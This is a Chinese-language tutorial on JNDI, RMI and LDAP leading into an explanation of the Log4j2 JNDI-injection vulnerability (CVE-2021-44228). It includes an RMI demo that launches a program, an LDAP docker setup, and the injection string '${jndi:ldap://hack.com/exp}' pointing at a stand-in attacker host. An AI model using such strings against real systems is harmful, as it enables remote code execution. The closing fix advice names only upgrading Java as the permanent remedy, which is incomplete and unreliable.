以下为前置知识

JNDI

JNDI(Java Naming and Directory Interface)又称 Java 命名和目录接口,是 J2EE 中的核心规范之一,它为 Java 应用提供了一种命名和目录服务的统一接口,允许程序员查找和使用各种资源(如数据库,远程对象等),它提供了多种方式让程序员直接通过命名访问对应服务、资源甚至 Java 对象。JNDI 注入就是攻击者构造了恶意的 Java 对象供 JNDI 加载,并通过 JNDI 的 RMI 等服务执行其字节码,从而造成远程代码执行漏洞,不过现在 JNDI 注入的前提就是 JDK 版本。

  • JDK 6u45、7u21之后:java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
  • JDK 6u141、7u131、8u121之后:增加了com.sun.jndi.rmi.object.trustURLCodebase选项,默认为false,禁止RMI和CORBA协议使用远程codebase的选项,因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞,但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
  • JDK 6u211、7u201、8u191之后:增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径也给禁了。

一句话:JNDI 是 Java EE 的核心规范之一,能够像映射表一样,方便开发者通过命名访问对应的资源及 Java 对象,如果 JNDI 配置不当则可能会导致安全漏洞。

img

RMI

RMI(Remote Method Invocation)又称为远程方法调用,它允许 JVM 对象执行另一个 JVM 对象中的方法,就像调用本地一样,尽管这些对象位于网络上的不同机器,它利用 Java 中的序列化和反序列化原理实现的,所以利用起来要非常注意安全漏洞

一句话:RMI 是一种可以让客户端 JVM 对象调用服务端上 JVM 对象的方法,服务端把结果返回给客户端的组件。

工作流程如下:

  1. 服务端创建远程调用对象并注册到 RMI Registry
  2. 客户端通过 RMI Registry 查找远程调用对象,获取存根
  3. 客户端通过存根调用远程方法
  4. 存根将调用信息序列化并发送至服务器
  5. 服务器反序列化调用信息,调用实际对象对应方法
  6. 服务器将结果序列化后返回给客户端

img

RMI 实现案例

  1. 接口代码
package share;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface ExcuteCmd extends Remote {
String executeCmd(String cmd) throws RemoteException;
}
  1. 服务端代码
package Server;

import share.ExcuteCmd;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class Server {
public static void main(String[] args) throws RemoteException {
System.out.println("Create Rmi remote server");
// 实例化一个WorldClock:
Excuter excuter = new Excuter();
// 将此服务转换为远程服务接口(转换为接口,不是实现类):
ExcuteCmd skeleton = (ExcuteCmd) UnicastRemoteObject.exportObject(excuter, 0);
// 将RMI服务注册到1099端口:
Registry registry = LocateRegistry.createRegistry(1099);
// 注册此服务,服务名为"WorldClock":
registry.rebind("excuter", skeleton);
}
}

class Excuter implements ExcuteCmd {

@Override
public String executeCmd(String cmd) throws RemoteException {
try {
Process p = Runtime.getRuntime().exec("calc");
// 获取命令输出流
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;

StringBuilder result = new StringBuilder();
while ((line = reader.readLine()) != null) {
result.append(line);
}

// 关闭流
reader.close();
return result.toString();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}

服务端运行程序

img

  1. 客户端代码
package Client;

import share.ExcuteCmd;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Client {
public static void main(String[] args) throws RemoteException, NotBoundException {
// 连接到服务器localhost,端口1099:
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
// 查找名称为"WorldClock"的服务并强制转型为WorldClock接口:
ExcuteCmd worldClock = (ExcuteCmd) registry.lookup("excuter");
// 正常调用接口方法:
String Result = worldClock.executeCmd("dir");
// 打印调用结果:
System.out.println(Result);
}
}

客户端执行程序,弹出计算器

img

LDAP

LDAP(lightweight Directory and protocol)是一个基于树状方式存储的轻量目录访问协议,由于其树状存储的特点导致其有着优异的读取性能,通常用于 Web 应用和软件里的单点登录和身份认证服务,大部分应用都支持该协议,比如 Java 的 Tomcat 服务、邮件系统甚至交换机和路由器设备都支持该协议

一句话:LDAP 是一个轻量目录访问协议,通常用于单点登录和身份认证服务,常见的软硬件都支持该协议。

关于 LDAP 的一些名词如下

img

搭建LDAP服务器

环境:debian 11

services:
ldap:
image: osixia/openldap:latest
container_name: ldap
restart: always
ports:
- 389:389
- 636:636
environment:
LDAP_ORGANISATION: demo
LDAP_DOMAIN: demo.com
LDAP_ADMIN_PASSWORD: Qq@12345
volumes:
- ./local/ldap:/usr/local/ldap
- ./ldap:/var/lib/ldap
- ./slapd.d:/etc/ldap/slapd.d
phpldapadmin:
image: osixia/phpldapadmin:latest
container_name: phpldapadmin
restart: always
privileged: true
ports:
- 8082:80
environment:
PHPLDAPADMIN_HTTPS: false
PHPLDAPADMIN_LDAP_HOSTS: ldap
depends_on:
- ldap

其中域名是 demo.com,用户名是 cn=admin,dc=demo,dc=com,密码是 Qq@12345

然后 docker compose up -d

使用 LDAP

进来之后默认会有一个组织角色

img

我们要按次序创建组织部队、群组、Posix 用户

  1. 创建组织部队

img

  1. 创建群组

img

  1. 创建 Posix 用户

img

结果如下

img

Log4j 漏洞利用解析

Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。

由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行。(CNVD-2021-95914、CVE-2021-44228)

Log4j2的这个漏洞本质上是JNDI注入 + LDAP的漏洞,而LDAP的利用方式在JDK 6u211、7u201、8u191、11.0.1之后,增加了com.sun.jndi.ldap.object.trustURLCodebase选项,默认为false,禁止LDAP协议使用远程codebase的选项,把LDAP协议的攻击途径给禁了。

受影响版本:Apache Log4j 2.x <= 2.15.0-rc1,2.15-rc1 存在补丁绕过

漏洞原理

漏洞原因是 log4j2 在记录日志时,会对 ${} 的内容进行递归解析,并通过 JNDI 从远程服务器加载对象,关键在于 log4j2 内部有一套 lookup机制,里面配置了 JNDI、env、Java 等解析器,而 JNDI 又可以通过 LDAP、RMI 等协议从远程服务器加载字节码并执行,从而触发了该漏洞,由于 JNDI 是通过序列化和反序列化的方式远程执行远程服务器中的字节码的,使得该漏洞容易被利用且能轻易绕过部分 waf

该漏洞的本质是 JNDI + LDAP 注入

整体攻击流程如下:

1.用户输入恶意字符串 ->
2.应用程序记录该日志 ->
3.log4j2 解析 ${jndi:ldap://hack.com/exp}
4.服务器对攻击者的 ldap 服务器发送请求
5.加载并执行远程字节码

如何修复

  1. 临时修复方法
  • 设置启动参数以禁用 log4j2 中的 lookup 查找 -Dlog4j2.formatMsgNoLookups=true
  • 在代码层对用户的输入进行过滤
  1. 永久修复
  • 升级 Java 版本

总结

Log4j2 漏洞的根本原因在于:

  • 过度设计:日志框架不应该支持如此强大的动态解析功能
  • 递归解析:对 ${} 进行无限递归解析,没有深度限制
  • JNDI 滥用:结合了 JNDI 的动态类加载能力
  • 默认开启:危险功能默认开启,没有安全警告